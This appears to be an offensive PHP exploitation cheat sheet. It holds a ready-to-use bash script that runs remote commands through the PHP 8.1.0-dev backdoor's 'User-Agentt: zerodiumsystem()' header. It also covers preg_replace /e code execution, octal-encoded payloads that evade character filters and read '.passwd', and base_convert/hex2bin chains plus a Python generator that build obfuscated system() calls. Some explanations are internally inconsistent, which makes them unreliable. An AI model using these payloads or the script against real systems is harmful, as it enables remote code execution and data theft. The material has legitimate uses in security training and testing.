Appearance
PHP Tricks
In this cheat-sheet, you will find payload, different exploits / vulns, so many hacktricks to do exploit PHP apps.
📚 Resources
Resources - PHP 8.1.0-dev
Tricks
PHP 8.1.0-dev - Backdoor
A Backdoor was introduced into the internal version of php 8.1.0-dev after the git server was compromised.
To exploit this vulenrability, add the header named User-Agentt and the os command in zerodiumsystem('cmd') in request, like that :
http
"User-Agentt: zerodiumsystem('cmd');"Here is a script to exploit with command injection :
bash
#!/bin/bash
url=$1
cmd=$2
curl_options=$3
if [ -z "$url" ] || [ -z "$cmd" ]; then
echo "Usage: $0 <url> <command> [curl_options (optional)]"
echo "Error: Missing required arguments."
exit 1
fi
case "$url" in
http://*|https://*) url="$url" ;;
*) url="http://$url" ;;
esac
curl -v -H "User-Agentt: zerodiumsystem('$cmd');" $curl_options $url | awk 'BEGIN{RS="<!DOCTYPE"} NR==1 {print $0}'PHP preg_replace()
php
# Example
preg_match('foo', 'bar'); // wrong
preg_match('/foo/', 'bar'); // Always use a delimiterphp
# Dangerous: no default delimiter validation used in research
preg_replace($_POST['research'], $_POST['replace'], $_POST['content']);
# Using the `/e` modifier (removed since PHP 7.0) to execute code via eval()
preg_replace('/a/e', 'foobar', 'abc');
preg_replace('/a/e', 'scandir(".")', 'abc'); // Replaces 'a' with eval(scandir('.'))
# Other variations, with
preg_replace('/.*/e', 'phpinfo()', 'input'); // replace * by phpinfo()
preg_replace('/^(.*)/e', 'strtoupper("\\1")', 'hello'); // Converts input to uppercasepreg_match()
Bypassing the regex that not allow alphanumeric characters is possibled, you can used only non-alphanumeric characters.
php
# regex
preg_match('/[a-zA-Z`]/', $_POST['input'])
# Only the ascii chars must be encoded, the chars like ^/(`|/$, are allowedphp
# encode payload to octal
# if the code used eval()
"\160\150\160\151\156\146\157"() # => phpinfo()
"\146\151\154\145\137\147\145\164\137\143\157\156\164\145\156\164\163"("\56\160\141\163\163\167\144") # => file_get_contents(".passwd")base_convert()
base_convert() allows conversions between different bases (base 10, base 36, etc.) as long as the characters are numeric or valid symbols for the specified base. With base_convert(), you can easily convert a string (base 36) to a number (base 10)
php
# base 10: "0123456789"
# base36: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# Exemple: convert from base 36 to base 10
base_convert("foo",36,10) # output: 20328
base_convert(20328,10,36) # output: foo
# If eval() is used, it will interpret the result as code and execute it.
base_convert(55490343972,10,36)() # output: phpinfo(), (executed)important: eval() executes any PHP code in string form. If you can generate characters (e.g., using base_convert()), you can create executable code and run it.
php
# base_convert() only handles alphanumeric characters from the specified base.
# Special characters must be encoded differently, e.g., with hex2bin() or chr(), like:
base_convert(37907361743,10,36)(base_convert(819603452553278904,10,36).base_convert(731170729668892,10,36)) # output: 'hello world'
# Explanation:
base_convert(37907361743,10,36)() # from Base10 to Base36 => hex2bin()
# In base_convert(): From Base10 to Base36
# Then convert from Hex inside hex2bin()
hex2bin(base_convert(819603452553278904,10,36).base_convert(731170729668892,10,36))
# Output => 'hello ' + 'world'Key Points:
819603452553278904is converted from Base10 to Base36, then from Hex =>Test.The inverse process:
Test=> converted to Hex, from Base36, then back to Base10 =>819603452553278904.
php
# You can also use chr() for simpler ASCII-to-char conversions:
base_convert(9911,10,28)(102).base_convert(9911,10,28)(111).base_convert(9911,10,28)(111) # output : foo
# Arbitrary code execution: e.g., system(hex2bin("ls -a"))
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(base_convert(643768259438377,10,36)))Resources
- Use cyberchef to convert base, hex ...
python
# Python script to generate payload using chrs() for ASCII conversion
command = "cat .*" # payload
output = "base_convert(1751504350,10,36)(" # system()
for i in range(len(command)):
if i == len(command)-1: # the last char
output += "base_convert(9911,10,28)("+str(ord(command[i]))+")" # used chrs(<i-to-ASCII>)
else:
output += "base_convert(9911,10,28)("+str(ord(command[i]))+")."
output += ")"
print(output)